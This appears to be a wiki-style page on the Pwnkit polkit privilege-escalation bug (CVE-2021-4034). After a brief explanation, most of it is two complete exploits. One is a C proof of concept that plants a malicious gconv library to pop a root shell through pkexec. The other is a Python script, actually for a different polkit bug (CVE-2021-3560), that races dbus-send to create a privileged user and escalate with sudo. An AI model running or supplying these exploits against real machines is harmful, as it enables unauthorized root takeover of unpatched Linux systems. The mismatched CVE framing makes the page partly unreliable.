๐Ÿง
Pwnkit
Polkit or PolicyKit controls system-wide privileges and provides a way for non-privileged users to communicate with privileged ones. pkexec allows polkit to execute commands with escalated privileges, which is where a memory corruption bug dating back to 2009, was found in 2022.
The CVE-2021-4034 bug works on most Linux distributions that are not patched.

How it Works[edit]

pkexecโ€™s main() function processes command-line arguments, which searches for the program to be executed. If the path is not absolute, it checks directories of the PATH environment variable, which creates a pointer to the string and is written out-of-bounds if the name exists to envp[0]; This means that out-of-bounds write allows us to create an insecure environment variable into pkexec's environment, which is normally removed from SUID programs before main() is called:
1
main (int argc, char *argv[])
2
{
3
for (n = 1; n < (guint) argc; n++)
4
{
5
โ€‹
6
}
7
path = g_strdup (argv[n]);
8
if (path[0] != '/')
9
{
10
s = g_find_program_in_path (path);
11
argv[n] = path = s;
12
}
Copied!
Below are two primary exploits that are known to work well:
  • The first is the original PoC
1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4
#include <unistd.h>
5
#include <sys/stat.h>
6
#include <sys/types.h>
7
#include <fcntl.h>
8
โ€‹
9
void fatal(char *f) {
10
perror(f);
11
exit(-1);
12
}
13
โ€‹
14
void compile_so() {
15
FILE *f = fopen("payload.c", "wb");
16
if (f == NULL) {
17
fatal("fopen");
18
}
19
โ€‹
20
char so_code[]=
21
"#include <stdio.h>\n"
22
"#include <stdlib.h>\n"
23
"#include <unistd.h>\n"
24
"void gconv() {\n"
25
" return;\n"
26
"}\n"
27
"void gconv_init() {\n"
28
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
29
" static char *a_argv[] = { \"sh\", NULL };\n"
30
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
31
" execve(\"/bin/sh\", a_argv, a_envp);\n"
32
" exit(0);\n"
33
"}\n";
34
โ€‹
35
fwrite(so_code, strlen(so_code), 1, f);
36
fclose(f);
37
โ€‹
38
system("gcc -o payload.so -shared -fPIC payload.c");
39
}
40
โ€‹
41
int main(int argc, char *argv[]) {
42
struct stat st;
43
char *a_argv[]={ NULL };
44
char *a_envp[]={
45
"lol",
46
"PATH=GCONV_PATH=.",
47
"LC_MESSAGES=en_US.UTF-8",
48
"XAUTHORITY=../LOL",
49
NULL
50
};
51
โ€‹
52
printf("[~] compile helper..\n");
53
compile_so();
54
โ€‹
55
if (stat("GCONV_PATH=.", &st) < 0) {
56
if(mkdir("GCONV_PATH=.", 0777) < 0) {
57
fatal("mkdir");
58
}
59
int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777);
60
if (fd < 0) {
61
fatal("open");
62
}
63
close(fd);
64
}
65
โ€‹
66
if (stat("lol", &st) < 0) {
67
if(mkdir("lol", 0777) < 0) {
68
fatal("mkdir");
69
}
70
FILE *fp = fopen("lol/gconv-modules", "wb");
71
if(fp == NULL) {
72
fatal("fopen");
73
}
74
fprintf(fp, "module UTF-8// INTERNAL ../payload 2\n");
75
fclose(fp);
76
}
77
โ€‹
78
printf("[~] maybe get shell now?\n");
79
โ€‹
80
execve("/usr/bin/pkexec", a_argv, a_envp);
81
}
Copied!
1
import os
2
import sys
3
import time
4
import subprocess
5
import random
6
import pwd
7
โ€‹
8
โ€‹
9
print ("**************")
10
print("Exploit: Privilege escalation with polkit - CVE-2021-3560")
11
print("Exploit code written by Ahmad Almorabea @almorabea")
12
print("Original exploit author: Kevin Backhouse ")
13
print("For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/")
14
print ("**************")
15
print("[+] Starting the Exploit ")
16
time.sleep(3)
17
โ€‹
18
check = True
19
counter = 0
20
while check:
21
counter = counter +1
22
process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:ahmed','string:"Ahmad Almorabea','int32:1'])
23
try:
24
#print('1 - Running in process', process.pid)
25
Random = random.uniform(0.006,0.009)
26
process.wait(timeout=Random)
27
process.kill()
28
except subprocess.TimeoutExpired:
29
#print('Timed out - killing', process.pid)
30
process.kill()
31
โ€‹
32
user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8')
33
if user.find("uid") != -1:
34
print("[+] User Created with the name of ahmed")
35
print("[+] Timed out at: "+str(Random))
36
check =False
37
break
38
if counter > 2000:
39
print("[-] Couldn't add the user, try again it may work")
40
sys.exit(0)
41
โ€‹
42
โ€‹
43
for i in range(200):
44
#print(i)
45
uid = "/org/freedesktop/Accounts/User"+str(pwd.getpwnam('ahmed').pw_uid)
46
โ€‹
47
#In case you need to put a password un-comment the code below and put your password after string:yourpassword'
48
password = "string:"
49
#res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8')
50
#password = f"string:{res.rstrip()}"
51
โ€‹
52
process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply',uid,'org.freedesktop.Accounts.User.SetPassword',password,'string:GoldenEye'])
53
try:
54
#print('1 - Running in process', process.pid)
55
Random = random.uniform(0.006,0.009)
56
process.wait(timeout=Random)
57
process.kill()
58
except subprocess.TimeoutExpired:
59
#print('Timed out - killing', process.pid)
60
process.kill()
61
โ€‹
62
print("[+] Timed out at: " + str(Random))
63
print("[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root ")
64
โ€‹
65
p = subprocess.call("(su ahmed -c 'sudo su')", shell=True)
Copied!
Copy link